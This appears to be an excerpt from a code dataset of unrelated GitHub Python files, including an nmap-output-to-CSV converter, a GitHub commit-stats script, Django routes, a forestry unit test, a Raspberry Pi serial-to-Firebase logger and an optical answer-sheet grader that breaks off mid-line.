port in self.get_port_list():\n\t\t\t\tresult.append(port.get_service())\n\t\treturn result\n\n\tdef get_port_version_list(self):\n\t\tif not(self.get_port_list()):\n\t\t\treturn ['']\n\t\telse:\n\t\t\tresult = []\n\t\t\tfor port in self.get_port_list():\n\t\t\t\tresult.append(port.get_version())\n\t\treturn result\n\n\tdef get_os(self):\n\t\treturn str(self.os)\n\n\tdef get_mac_address(self):\n\t\treturn str(self.mac_address)\n\n\tdef get_mac_address_vendor(self):\n\t\treturn str(self.mac_address_vendor)\n\n\tdef get_network_distance(self):\n\t\treturn str(self.network_distance)\n\n\t# Setters\n\tdef set_fqdn(self, fqdn):\n\t\tself.fqdn = fqdn\n\n\tdef set_os(self, os):\n\t\tself.os = os\n\n\tdef set_mac(self, mac_address, mac_address_vendor = ''):\n\t\tself.mac_address = mac_address\n\t\tself.mac_address_vendor = mac_address_vendor\n\n\tdef set_network_distance(self, network_distance):\n\t\tself.network_distance = network_distance\n\nclass Port:\n\tdef __init__(self, number, protocol, service, version):\n\t\tself.number = number\n\t\tself.protocol = protocol\n\t\tself.service = service\n\t\tself.version = version\n\n\tdef get_number(self):\n\t\treturn self.number\n\n\tdef get_protocol(self):\n\t\treturn self.protocol\n\n\tdef get_service(self):\n\t\treturn self.service\n\n\tdef get_version(self):\n\t\treturn self.version\n\ndef split_grepable_match(raw_string) :\n\t\"\"\"\n\t\tSplit the raw line to a neat Host object\n\n\t\t@param raw_string : the whole 'Host' line\n\n\t\t@rtype : return an Host object\n\t\"\"\"\n\tglobal p_ip_elementary\n\n\tsplitted_fields = raw_string.split(\"\\t\")\n\n\t# Patterns\n\tp_host = re.compile('Host:\\s(?P%s)\\s+\\((?P|.*)\\)' % p_ip_elementary)\n\tp_ports = re.compile('Ports:\\s+(?P.*)')\n\tp_os = re.compile('OS:\\s(?P.*)')\n\n\t# Extracted named-group matches\n\tIP_str = extract_matching_pattern(p_host, 'ip', splitted_fields)\n\tFQDN_str = extract_matching_pattern(p_host, 'fqdn', splitted_fields)\n\tports_str = extract_matching_pattern(p_ports, 'ports', splitted_fields)\n\tOS_str = extract_matching_pattern(p_os, 'os', splitted_fields)\n\n\tcurrent_host = Host(IP_str, FQDN_str)\n\tcurrent_host.set_os(OS_str)\n\n\t# Let's split the raw port list\n\tall_ports = ports_str.split(', ')\n\n\t# Keep only open ports\n\topen_ports_list = filter(lambda p: '/open/' in p, all_ports)\n\n\tfor open_port in open_ports_list :\n\t\tsplitted_fields = open_port.split('/',6)\n\n\t\t# Extract each field from the format [port number / state / protocol / owner / service / rpc info / version info]\n\t\t#-- Thanks to http://www.unspecific.com/nmap-oG-output/\n\t\tnumber, state, protocol, owner, service, version = splitted_fields[0:6]\n\n\t\tnew_port = Port(number, protocol, service, version)\n\n\t\tcurrent_host.add_port(new_port)\n\n\n\treturn current_host\n\ndef parse(fd) :\n\t\"\"\"\n\t\tParse the data according to several regexes\n\n\t\t@param fd : input file descriptor, could be a true file or stdin\n\n\t\t@rtype : return a list of objects indexed from their numerical IP representation\n\t\"\"\"\n\tglobal p_ip_elementary, p_ip, p_port, p_grepable\n\n\tIPs = {}\n\tlast_host = None\n\n\tlines = [l.rstrip() for l in fd.readlines()]\n\tfor line in lines:\n\n\t\t# 1st case: \tNmap Normal Output\n\t\t#-- 1st action: Grab the IP\n\t\tIP = p_ip.search(line)\n\t\tif IP:\n\t\t\t# Check out what patterns matched\n\t\t\tIP_potential_match = [IP.group('ip_nmap5'), IP.group('ip_only_nmap5'), IP.group('ip_nmap6'), IP.group('ip_only_nmap6')]\n\t\t\tIP_str = unique_match_from_list(IP_potential_match)\n\n\t\t\tFQDN_potential_match = [IP.group('fqdn_nmap5'), IP.group('fqdn_nmap6')]\n\t\t\tFQDN_str = unique_match_from_list(FQDN_potential_match)\n\n\t\t\tnew_host = Host(IP_str, FQDN_str)\n\n\t\t\tIPs[new_host.get_ip_num_format()] = new_host\n\n\t\t\tlast_host = new_host\n\n\n\t\t# 1st case: \tNmap Normal Output\n\t\t#-- 2nd action: Grab the port\n\t\tport = p_port.search(line)\n\t\tif port and last_host != None:\n\t\t\tnumber = str(port.group('number'))\n\t\t\tprotocol = str(port.group('protocol'))\n\t\t\tservice = str(port.group('service'))\n\t\t\tversion = str(port.group('version'))\n\n\t\t\tnew_port = Port(number, protocol, service, version )\n\n\t\t\tlast_host.add_port(new_port)\n\n\n\t\t# 1st case: \tNmap Normal Output\n\t\t#-- 3rd action:\tGrab the MAC address\n\t\tmac = p_mac.search(line)\n\t\tif mac:\n\t\t\tlast_host.set_mac(str(mac.group('mac_addr')), str(mac.group('mac_vendor')))\n\n\n\t\t# 1st case:\t\tNmap Normal Output\n\t\t#-- 4th action:\tGrab the OS detection\n\t\tos = p_os.search(line)\n\t\tif os:\n\t\t\tlast_host.set_os(str(os.group('os')))\n\n\n\t\t# 1st case:\t\tNmap Normal Output\n\t\t#-- 5th action:\tGrab the network distance\n\t\tnetwork_distance = p_network_dist.search(line)\n\t\tif network_distance:\n\t\t\tlast_host.set_network_distance(str(network_distance.group('hop_number')))\n\n\n\t\t# 2nd case: \t\tNmap Grepable Output\n\t\t#-- 1 sole action:\tGrab the whole line for further splitting\n\t\tgrepable = p_grepable.search(line)\n\t\tif grepable :\n\t\t\tif grepable.group('whole_line') :\n\t\t\t\tnew_host = split_grepable_match(grepable.group('whole_line'))\n\n\t\t\t\t# Update the occurence found with 'Status: Up'\n\t\t\t\tIPs[new_host.get_ip_num_format()] = new_host\n\n\t\t\t\tlast_host = new_host\n\n\treturn IPs\n\ndef check_supplied_format(fmt):\n\t\"\"\"\n\t\tCheck for the supplied custom output format\n\t\t@param fmt : the supplied format\n\n\t\t@rtype : VALID_FORMAT or INVALID_FORMAT\n\t\"\"\"\n\tglobal SUPPORTED_FORMAT_OBJECTS, INVALID_FORMAT, VALID_FORMAT\n\tresult = INVALID_FORMAT\n\n\tsplitted_fmt = fmt.split('-')\n\n\tfor fmt_object in splitted_fmt :\n\t\tif not(fmt_object in SUPPORTED_FORMAT_OBJECTS):\n\t\t\tbreak\n\telse :\n\t\tresult = VALID_FORMAT\n\n\treturn result\n\ndef formatted_item(host, format_item):\n\t\"\"\"\n\t\treturn the attribute value related to the host\n\n\t\t@param host : host object\n\t\t@param format_item : the attribute supplied in the custom format\n\n\t\t@rtype : the attribute value\n\t\"\"\"\n\tif isinstance(host, Host) :\n\t\toption_map = {\n\t\t\t\t\t'fqdn' : \t\t\t\t[host.get_fqdn()],\n\t\t\t\t\t'hop_number': \t\t\t[host.get_network_distance()],\n\t\t\t\t\t'ip' : \t\t\t\t\t[host.get_ip_dotted_format()],\n\t\t\t\t\t'mac_address':\t\t\t[host.get_mac_address()],\n\t\t\t\t\t'mac_vendor': \t [host.get_mac_address_vendor()],\n\t\t\t\t\t'os' : \t\t\t\t\t[host.get_os()],\n\t\t\t\t\t'port':\t\t\t\t\thost.get_port_number_list(),\n\t\t\t\t\t'protocol':\t\t\t\thost.get_port_protocol_list(),\n\t\t\t\t\t'service':\t\t\t\thost.get_port_service_list(),\n\t\t\t\t\t'version':\t\t\t\thost.get_port_version_list()\n\t\t\t\t\t }\n\n\t\tif format_item in option_map.keys():\n\t\t\treturn option_map[format_item]\n\t\telse :\n\t\t\treturn ''\n\telse :\n\t\treturn []\n\ndef repeat_attributes(attribute_list):\n\t\"\"\"\n\t\trepeat attribute lists to the maximum for the\n\n\t\t@param attribute_list : raw list with different attribute list length\n\n\t\t@rtype : a list consisting of length equal attribute list\n\t\"\"\"\n\tmax_number = len(max(attribute_list, key=len))\n\tattribute_list = map(lambda x: x * max_number, attribute_list)\n\n\treturn attribute_list\n\ndef generate_csv(fd, results, output_format, header, newline) :\n\t\"\"\"\n\t\tGenerate a plain ';' separated csv file with the desired or default attribute format\n\t\t@param fd : output file descriptor, could be a true file or stdout\n\t\"\"\"\n\tif results != {} :\n\t\tspamwriter = csv.writer(fd, delimiter=';')\n\n\t\tif header == YES_HEADER:\n\t\t\tcsv_header = [format_item.upper() for format_item in output_format.split('-')]\n\t\t\tspamwriter.writerow(csv_header)\n\n\t\tfor IP in sorted(results.iterkeys()) :\n\t\t\tformatted_attribute_list = []\n\n\t\t\tfor index,format_item in enumerate(output_format.split('-')) :\n\t\t\t\titem = formatted_item(results[IP], format_item)\n\t\t\t\tformatted_attribute_list.insert(index, item)\n\n\t\t\tformatted_attribute_list = repeat_attributes(formatted_attribute_list)\n\n\t\t\tfor line_to_write in itertools.izip(*formatted_attribute_list):\n\t\t\t\tspamwriter.writerow(list(line_to_write))\n\n\t\t\t# Print a newline if asked\n\t\t\tif newline == YES_NEWLINE:\n\t\t\t\tspamwriter.writerow('')\n\n\treturn\n\ndef main(options, arguments):\n\n\t# Supplied format\n\toutput_format = DEFAULT_FORMAT\n\tif options.format != None :\n\t\tif check_supplied_format(options.format) == VALID_FORMAT :\n\t\t\toutput_format = options.format\n\t\telse:\n\t\t\tparser.error(\"Please specify a valid output format.\\n\\\n\t\t\t Supported objects are { fqdn, ip, mac_address, mac_vendor, port, protocol, os, service, version }.\")\n\n\t# Input descriptor\n\tif (options.input != None) :\n\t\tfd_input = open(options.input, 'rb')\n\telse :\n\t\t# No input file specified, reading from stdin\n\t\tfd_input = sys.stdin\n\n\t# Analysis\n\tresults = parse(fd_input)\n\tfd_input.close()\n\n\t# Output descriptor\n\tif (options.output != None) :\n\t\tfd_output = open(options.output, 'wb')\n\telse :\n\t\t# No output file specified, writing to stdout\n\t\tfd_output = sys.stdout\n\n\t# Newline\n\tnewline = {True : YES_NEWLINE, False : NO_NEWLINE}[options.newline != None]\n\n\t# Header\n\theader = {True : NO_HEADER, False : YES_HEADER}[options.skip_header != None]\n\n\t# CSV output\n\tgenerate_csv(fd_output, results, output_format, header, newline)\n\tfd_output.close()\n\n\treturn\n\nif __name__ == \"__main__\" :\n\tparser = OptionParser()\n\tfor option in options :\n\t\tparam = option['name']\n\t\tdel option['name']\n\t\tparser.add_option(*param, **option)\n\n\toptions, arguments = parser.parse_args()\n\tmain(options, arguments)","repo_name":"devsecops/defcon-workshop","sub_path":"section-3/data-converter/nmaptocsv.py","file_name":"nmaptocsv.py","file_ext":"py","file_size_in_byte":13500,"program_lang":"python","lang":"en","doc_type":"code","stars":65,"dataset":"github-code","pt":"81"} +{"seq_id":"29855055948","text":"import sys\nimport requests\nimport json\nimport threading\n# This function is called when the server recieves the request\n# with username, repo name, starting date, and ending date.\n# Using these parameters it returns\n# Name of committer Date of Commit SHA value in a form of\n# json data dump.\n\n\ndef getGitStat(username, repo, sinD, untD, response_url, token):\n\n user = username\n reponame = repo\n sin = \"2016-{}T00:00:00Z\".format(sinD)\n unt = \"2016-{}T00:00:00Z\".format(untD)\n\n strings = \"\"\n details = {}\n page = 1\n counter = 0\n\n headers = {\n 'User-Agent': 'Mozilla /5.0 (Compatible MSIE 9.0;Windows NT 6.1;WOW64; Trident/5.0)',\n 'Authorization': 'token %s' % token}\n\n user_repo_path = \"https://api.github.com/users/{}/repos\".format(user)\n first_response = requests.get(\n user_repo_path, headers = headers)\n\n assert first_response.status_code == 200\n\n while(page < 10):\n\n repo_commits_path = \"https://api.github.com/repos/{}/{}/commits?page={}&per_page=100&until={}&since={}\".format(\n user, reponame, str(page), unt, sin)\n second_response = requests.get(\n repo_commits_path, headers = headers)\n\n assert second_response.status_code == 200\n\n for commit in second_response.json():\n\n sha_commits_path = \"https://api.github.com/repos/{}/{}/commits/{}\".format(\n user, reponame, commit['sha'])\n commit_values = requests.get(\n sha_commits_path, headers = headers)\n\n assert commit_values.status_code == 200\n\n comm = commit_values.json()\n\n conv = \"{} {} {}\".format(commit['commit']['committer']['name'], commit[\n 'commit']['committer']['date'], commit['sha'])\n\n strings = \"{}{}\\n\".format(strings, conv)\n\n counter += 1\n\n page += 1\n\n # response_url = request.args[\"response_url\"]\n\n if not strings:\n strings = \"No commits were made between the given date interval\"\n\n response_url = response_url\n\n payload = {\n \"response_type\": \"ephemeral\",\n \"text\": \"Github Repo Commits Status\",\n \"attachments\": [\n {\n \"text\": strings\n }\n ]\n }\n\n headers = {\n 'Content-Type': 'application/json',\n 'User-Agent': 'Mozilla /5.0 (Compatible MSIE 9.0;Windows NT 6.1;WOW64; Trident/5.0)'}\n\n response = requests.post(response_url, json=payload, headers=headers)\n","repo_name":"IshanGupta10/GithubDataWebAPI","sub_path":"gitStat.py","file_name":"gitStat.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"21316740491","text":"from django.contrib import admin\nfrom django.urls import path, include\nfrom GraficasApp import views\n\nurlpatterns = [\n\t\n \n\tpath('',views.base,name='base'),\n path('Graficas/',views.graficas,name='graficas'),\n path('ListaEstudiantes/',views.estudiante_base,name='lista_estudiantes'),\n path('crearEstudiante/',views.EstudianteCreate.as_view(),name='estudiante_create'),\n path('EditarEstudiante//est',views.EstudianteEditar.as_view(),name='estudiante_editar'),\n path('BorrarEstudiante//est',views.EstudianteDelete.as_view(),name='estudiante_borrar'),\n]","repo_name":"AndresMoreno21/GraficasUnimar","sub_path":"GraficasApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"25472580579","text":"import unittest\nfrom lukefi.metsi.data.model import ForestStand, ReferenceTree\nfrom lukefi.metsi.data.enums.internal import TreeSpecies\nfrom lukefi.metsi.forestry.harvest import thinning\nfrom lukefi.metsi.forestry import forestry_utils as futil\n\n\nclass ThinningTest(unittest.TestCase):\n\n def test_iterative_thinning(self):\n species = [ TreeSpecies(i) for i in [1,2,3] ]\n diameters = [ 20.0 + i for i in range(0, 3) ]\n stems = [ 200.0 + i for i in range(0, 3) ]\n heights = [ 25.0 + i for i in range(0, 3) ]\n ids = [\"tree-1\", \"tree-2\", \"tree-3\"]\n stand = ForestStand()\n stand.reference_trees = [\n ReferenceTree(species=spe, breast_height_diameter=d, stems_per_ha=f, identifier=id)\n for spe, d, f, id in zip(species, diameters, stems, ids)\n ]\n thinning_factor = 0.97\n basal_area_upper_bound = 18.0\n thin_predicate = lambda stand: basal_area_upper_bound < futil.overall_basal_area(stand.reference_trees)\n extra_factor_solver = lambda i, n ,c: 0\n thinning.iterative_thinning(stand, thinning_factor, thin_predicate, extra_factor_solver)\n self.assertEqual(3, len(stand.reference_trees))\n self.assertEqual(171.747, round(stand.reference_trees[0].stems_per_ha, 3))\n self.assertEqual(172.606, round(stand.reference_trees[1].stems_per_ha, 3))\n self.assertEqual(173.464, round(stand.reference_trees[2].stems_per_ha, 3))\n","repo_name":"lukefi/metsi","sub_path":"tests/forestry/thinning_test.py","file_name":"thinning_test.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"25541872208","text":"'''\r\nShashank Navle\r\n07/05/2020\r\nPurpose: The purpose of this program is to draw a Ninja Star using the Python's Turtle Graphics Module and Display the caption \"Star\"\r\n'''\r\n\r\nimport turtle\r\n\r\ndef main():\r\n\r\n sn = turtle.Turtle()\r\n sn.shape(\"turtle\")\r\n sn.color(\"aqua\")\r\n sn.speed(1)\r\n\r\n for side in range(0, 5):\r\n sn.forward(100)\r\n sn.left(144)\r\n\r\n print(\"Star\")\r\n\r\nmain()\r\n\r\n","repo_name":"snavale29/FoP_Git","sub_path":"Module 3/03.02 for Loops/Navale_0302.py","file_name":"Navale_0302.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"5201090278","text":"\"\"\" smashlib.plugins.interface\n NB: plugin-related obviously, but this is not a plugin\n\"\"\"\n\nfrom report import console\n\nfrom smashlib import get_smash\nfrom smashlib.handle import AbstractInterface\n\n\nclass PluginInterface(AbstractInterface):\n\n _user_ns_var = 'plugins'\n\n @property\n def edit(self):\n get_smash().shell.run_cell('ed_config')\n\n def __qmark__(self):\n \"\"\" user-friendly information when the input is \"plugins?\" \"\"\"\n out = [console.red('Smash Plugins: ') + '({0} total)'.format(len(self._plugins))]\n for nick in sorted(self._plugins):\n out += [console.blue(' | ') + '{0}'.format(nick)]\n return '\\n'.join(out)\n\n @property\n def _plugins(self):\n return get_smash()._installed_plugins\n\n def __getitem__(self, plugin_name):\n return self._plugins[plugin_name]\n\n def update(self):\n tmp = self._plugins\n\n for name in tmp:\n tmp2 = lambda self=self, name=name: get_smash()._installed_plugins[\n name]\n tmp3 = get_smash()._installed_plugins[name].__qmark__()\n tmp2.__doc__ = tmp3\n prop = property(tmp2)\n setattr(self.__class__, name, prop)\n","repo_name":"mattvonrocketstein/smash","sub_path":"smashlib/plugins/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"81"} +{"seq_id":"20219761007","text":"import os\nfrom urllib.parse import unquote, urlparse\n\nimport numpy as np\nimport pandas as pd\nimport supervisely as sly\nfrom cv2 import connectedComponents\nfrom dataset_tools.convert import unpack_if_archive\nfrom supervisely.io.fs import get_file_name, get_file_name_with_ext\nfrom tqdm import tqdm\n\nimport src.settings as s\n\n\ndef convert_and_upload_supervisely_project(\n api: sly.Api, workspace_id: int, project_name: str\n) -> sly.ProjectInfo:\n cls_names = [\n \"urban_land\",\n \"agriculture_land\",\n \"rangeland\",\n \"forest_land\",\n \"water\",\n \"barren_land\",\n \"unknown\",\n ]\n objclasses = [sly.ObjClass(clsname, sly.Bitmap) for clsname in cls_names]\n cls_to_objclasses = {cls_name: obj_cls for cls_name, obj_cls in zip(cls_names, objclasses)}\n\n img_ext = \"_sat.jpg\"\n ann_ext = \"_mask.png\"\n dataset_path = \"./APP_DATA\"\n ds_names = [\n \"valid\",\n \"test\",\n \"train\",\n ]\n\n def create_ann(image_path: str):\n labels = []\n\n image_np = sly.imaging.image.read(image_path)[:, :, 0]\n img_height = image_np.shape[0]\n img_width = image_np.shape[1]\n\n tmp_path = image_path.split(img_ext)[0]\n mask_path = os.path.join(os.path.dirname(tmp_path), os.path.basename(tmp_path) + ann_ext)\n\n if os.path.exists(mask_path):\n mask_np = sly.imaging.image.read(mask_path)\n for cls, rgb in s.CLASS2COLOR.items():\n obj_mask = np.all(mask_np == rgb, axis=2)\n\n if np.any(obj_mask):\n curr_bitmap = sly.Bitmap(obj_mask)\n curr_obj_class = cls_to_objclasses[cls]\n if curr_bitmap.area > 100:\n curr_label = sly.Label(curr_bitmap, curr_obj_class)\n labels.append(curr_label)\n\n return sly.Annotation(img_size=(img_height, img_width), labels=labels)\n\n meta = sly.ProjectMeta(\n obj_classes=objclasses,\n )\n\n df = pd.read_csv(f\"{dataset_path}/metadata.csv\")\n df[\"sat_image_path\"] = df[\"sat_image_path\"].apply(lambda x: os.path.join(dataset_path, x))\n all_images_path = df[\"sat_image_path\"].values.tolist()\n\n project = api.project.create(workspace_id, project_name)\n api.project.update_meta(project.id, meta.to_json())\n\n for ds_name in ds_names:\n dataset = api.dataset.create(project.id, ds_name)\n\n ds_img_paths = [\n path for path in all_images_path if os.path.basename(os.path.dirname(path)) == ds_name\n ]\n\n pbar = tqdm(desc=f\"Processing '{ds_name}' dataset\", total=len(ds_img_paths))\n for batch in sly.batched(ds_img_paths, batch_size=30):\n images_names = [os.path.basename(image_path) for image_path in batch]\n img_infos = api.image.upload_paths(dataset.id, images_names, batch)\n img_ids = [im_info.id for im_info in img_infos]\n\n anns_batch = [create_ann(image_path) for image_path in batch]\n api.annotation.upload_anns(img_ids, anns_batch)\n\n pbar.update(len(batch))\n\n return project\n","repo_name":"dataset-ninja/DeepGlobe","sub_path":"src/convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"1692154836","text":"import json\n\nname1 = 'sai'\nname2 = 'vatsava'\nfrom1 = 'tenali'\nfrom2 = 'vizag'\n\nc={}\nb={}\nc['creatures']=[]\nb['people']=[]\n# with open(\"jsonuart.json\", \"r\") as g:\n# c = json.load(g)\n\nc['creatures'].append({\n b['people'].append({\n 'name' : name1,\n 'from' : from1\n})\n# b['aliens']:({\n# 'name' : 'asdf',\n# #'from' : from2\n# })\n })\n \n\n# c['creatures'].append({\n# ['people'].append({\n# 'name' : name2,\n# 'from' : from2\n# }),\n# ['aliens'].append({\n# 'name' : 'qwer',\n# 'from' : 'mars'\n# })\n# })\nprint(c)\nwith open(\"jsonuart.json\", \"w\") as f:\n json.dump(c,f,indent=1)","repo_name":"vatsava-rac/RPibackup","sub_path":"testing/json/json.py","file_name":"json.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39147004508","text":"import serial\nimport pyrebase\nimport datetime\nfrom time import sleep\nimport threading\nser = serial.Serial (\"/dev/ttyS0\", 9600) #Open port with baud rate\nbufferReady = True\nbuffer = []\nsessionId =\"\"\n\n\n\nfirebaseConfig = {\n \"apiKey\" : \"AIzaSyCXSY5xD4wyy0H8Ubtl7DfBb_e493Esg90\",\n \"authDomain\" : \"teamtools-c9f38.firebaseapp.com\",\n \"databaseURL\" : \"https://teamtools-c9f38-default-rtdb.firebaseio.com\",\n \"projectId\" : \"teamtools-c9f38\",\n \"storageBucket\" : \"teamtools-c9f38.appspot.com\",\n \"messagingSenderId\" : \"572582303921\",\n \"appId\" : \"1:572582303921:web:a4f7994bfcaaea159aea90\",\n \"measurementId\" : \"G-X9ZWKFGELQ\"\n}\nfirebase = pyrebase.initialize_app(firebaseConfig)\nauth = firebase.auth()\ndb = firebase.database()\n\ndef sendDataToDb(angle , length, collision):\n global sessionId\n messageToSend = {'angle': angle, 'length': length, 'collision': collision}\n db.child(sessionId).push(messageToSend)\n \ndef updateSessionId():\n dt = datetime.datetime.now()\n sessionId = dt.strftime(\"%Y-%m-%d-%H:%M:%s\")\n \n\n\ndef sendLoop():\n global buffer\n global bufferReady\n global sessionId\n while True:\n if bufferReady:\n if len(buffer):\n bufferReady = False\n data = buffer.pop(0)\n dataArr = data.split(\" \")\n if len(dataArr) == 3:\n angle = dataArr[0]\n length_mm = dataArr[1]\n collision = dataArr[2]\n sendDataToDb(angle,length_mm,collision) #send data to db.\n print(dataArr)\n elif len(dataArr) == 2: #new session \n updateSessionId() \n print(sessionId)\n \n bufferReady = True\n\n\ndef readLoop():\n global buffer\n global bufferReady\n while True:\n if bufferReady:\n bufferReady = False\n receivedData = ser.read() #read serial port\n sleep(0.03)\n dataLeft = ser.inWaiting() #check for remaining byte\n receivedData += ser.read(dataLeft)\n decodedData = str(receivedData.decode(\"utf-8\"))\n decodedData = decodedData.strip()\n buffer.append(decodedData)\n bufferReady = True\n sleep(0.03)\n\n\ndef setup():\n #setup functions for the threads.\n t =threading.Thread(target=readLoop,args=())\n t2 = threading.Thread(target=sendLoop,args=())\n t.start()\n t2.start()\n \n\nsetup()\n","repo_name":"Team-Tools-JU/wifi","sub_path":"wifi.py","file_name":"wifi.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"12899665756","text":"import imutils\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport skimage\nfrom skimage.measure import label, regionprops\nimport array as arr\n\n\ndef peepsctive(thresh):\n corners = cv2.goodFeaturesToTrack(thresh, 4, 0.01, 100)\n corners = np.int0(corners)\n for corner in corners:\n x, y = corner.ravel()\n edged = cv2.Canny(thresh, 50, 100)\n edged = cv2.dilate(edged, None, iterations=1)\n edged = cv2.erode(edged, None, iterations=1)\n # cv2.imwrite('output/4pre_edged.jpg', edged)\n cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n for c in cnts:\n epsilon = 0.06 * cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, epsilon, True)\n print(approx)\n # cv2.imwrite('output/5contour.jpg', img)\n\n for c in cnts: # 1\n # find bounding box coordinates\n x, y, w, h = cv2.boundingRect(c)\n print(x)\n print(y)\n print(w)\n print(h)\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n # find minimum area\n rect = cv2.minAreaRect(c)\n # calculate 4 coordinates of the minimum area rectangle\n box = cv2.boxPoints(rect)\n print(box)\n # casting to integers\n box = np.int64(box) # 6\n # draw contours\n cv2.drawContours(img, [box], 0, (0, 0, 255), 2)\n myPoints = np.array(approx, dtype=np.int32)\n print('********************************')\n print(myPoints)\n\n w = 2480;\n h = 3508;\n pts1 = np.float32([myPoints[1], myPoints[0], myPoints[2], myPoints[3]])\n pts2 = np.float32([[0, 0], [w, 0], [0, h], [w, h]])\n matrix = cv2.getPerspectiveTransform(pts1, pts2)\n result = cv2.warpPerspective(img, matrix, (w, h))\n cv2.imwrite('output/6_perspective.jpg', result)\n return result\n\n\ndef preimg(imS):\n cv2.imwrite('output/1img.jpg', imS)\n gray = cv2.cvtColor(imS, cv2.COLOR_BGR2GRAY)\n cv2.imwrite('output/2pre_blurred.jpg', gray)\n thresh = cv2.threshold(gray, 160, 255, cv2.THRESH_BINARY)[1]\n cv2.imwrite('output/3pre_thresh.jpg', thresh)\n return thresh\n\n\ndef peepsctive2(thresh2):\n corners = cv2.goodFeaturesToTrack(thresh2, 4, 0.01, 100)\n corners = np.int0(corners)\n for corner in corners:\n x, y = corner.ravel()\n edged = cv2.Canny(thresh2, 50, 100)\n edged = cv2.dilate(edged, None, iterations=1)\n edged = cv2.erode(edged, None, iterations=1)\n cv2.imwrite('output2/edged.jpg', edged)\n cnts = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = imutils.grab_contours(cnts)\n for c in cnts:\n epsilon = 0.06 * cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, epsilon, True)\n print(approx)\n cv2.imwrite('output2/contour.jpg', img2)\n\n for c in cnts: # 1\n # find bounding box coordinates\n x, y, w, h = cv2.boundingRect(c)\n print(x)\n print(y)\n print(w)\n print(h)\n cv2.rectangle(img2, (x, y), (x + w, y + h), (0, 255, 0), 2)\n # find minimum area\n rect = cv2.minAreaRect(c)\n # calculate 4 coordinates of the minimum area rectangle\n box = cv2.boxPoints(rect)\n print(box)\n # casting to integers\n box = np.int64(box) # 6\n # draw contours\n cv2.drawContours(img2, [box], 0, (0, 0, 255), 2)\n myPoints = np.array(approx, dtype=np.int32)\n print('********************************')\n print(myPoints)\n\n w = 2480;\n h = 3508;\n pts1 = np.float32([myPoints[1], myPoints[0], myPoints[2], myPoints[3]])\n pts2 = np.float32([[0, 0], [w, 0], [0, h], [w, h]])\n matrix = cv2.getPerspectiveTransform(pts1, pts2)\n result = cv2.warpPerspective(img2, matrix, (w, h))\n cv2.imwrite('output2/perspective.jpg', result)\n return result\n\n\ndef preimg2(imS):\n cv2.imwrite('output2/img.jpg', imS)\n gray = cv2.cvtColor(imS, cv2.COLOR_BGR2GRAY)\n cv2.imwrite('output2/gray.jpg', gray)\n thresh = cv2.threshold(gray, 160, 255, cv2.THRESH_BINARY)[1]\n cv2.imwrite('output2/thresh.jpg', thresh)\n return thresh\n\nx = 146\ny = 250\nh = 18\nw = 32\nansCorrect = []\nansUser = []\nsum = 0\nchoose = ''\nchoose2 = ''\nimg = cv2.imread('input img/test_7.jpg')\npeepsctive(preimg(img))\nA4 = cv2.imread('output/6_perspective.jpg')\nanswersheet = cv2.resize(A4, (620, 877))\ncropped_image = img[80:280, 150:330]\ngray = cv2.cvtColor(answersheet, cv2.COLOR_BGR2GRAY)\nthresh = cv2.threshold(gray, 165, 255, cv2.THRESH_BINARY)[1]\nplt.imshow(thresh)\nplt.show()\n\nfor i in range(30):\n if i < 15:\n x = 146\n\n print('loop 1-', i)\n else:\n print('loop 2-', i)\n if i == 15:\n y = 250\n\n x = 366\n print('ข้อที่ ', i + 1)\n print('X,y: ', x, y)\n num = 0\n for j in range(4):\n cropped_image = thresh[y:y + h, x:x + w]\n L = label(cropped_image)\n props = regionprops(L)\n\n print('ตัวเลือกที่ ', j + 1, 'sum : ', props.__len__())\n cv2.rectangle(answersheet, (x, y), (x + w, y + h), (0, 0, 255), 1)\n\n if props.__len__() == 4:\n cv2.rectangle(answersheet, (x, y), (x + w, y + h), (0, 255, 0), 1)\n if j + 1 == 1:\n choose = 'A'\n if j + 1 == 2:\n choose = 'B'\n if j + 1 == 3:\n choose = 'C'\n if j + 1 == 4:\n choose = 'D'\n num += 1\n elif props.__len__() == 6 and num == 1:\n cv2.rectangle(answersheet, (x, y), (x + w, y + h), (255, 0, 0), 1)\n num = 1\n elif props.__len__() == 6 and num == 0:\n cv2.rectangle(answersheet, (x, y), (x + w, y + h), (255, 0, 0), 1)\n num = 0\n elif props.__len__() != 1:\n cv2.rectangle(answersheet, (x, y), (x + w, y + h), (255, 10, 255), 1)\n num = 5\n\n x += 45\n\n if num == 1:\n ansCorrect.append(choose)\n elif 1 < num <= 4:\n ansCorrect.append('More')\n elif num == 0:\n ansCorrect.append('NF')\n else:\n ansCorrect.append('ERROR')\n\n y += 26\n\nchoose2 = ''\nimg2 = cv2.imread('input2/test_6.jpg')\ncal = peepsctive2(preimg2(img2))\nA4 = cv2.imread('output2/perspective.jpg')\nanswersheet2 = cv2.resize(A4, (620, 877))\ncropped_image = img2[80:280, 150:330]\ngray = cv2.cvtColor(answersheet2, cv2.COLOR_BGR2GRAY)\nthresh2 = 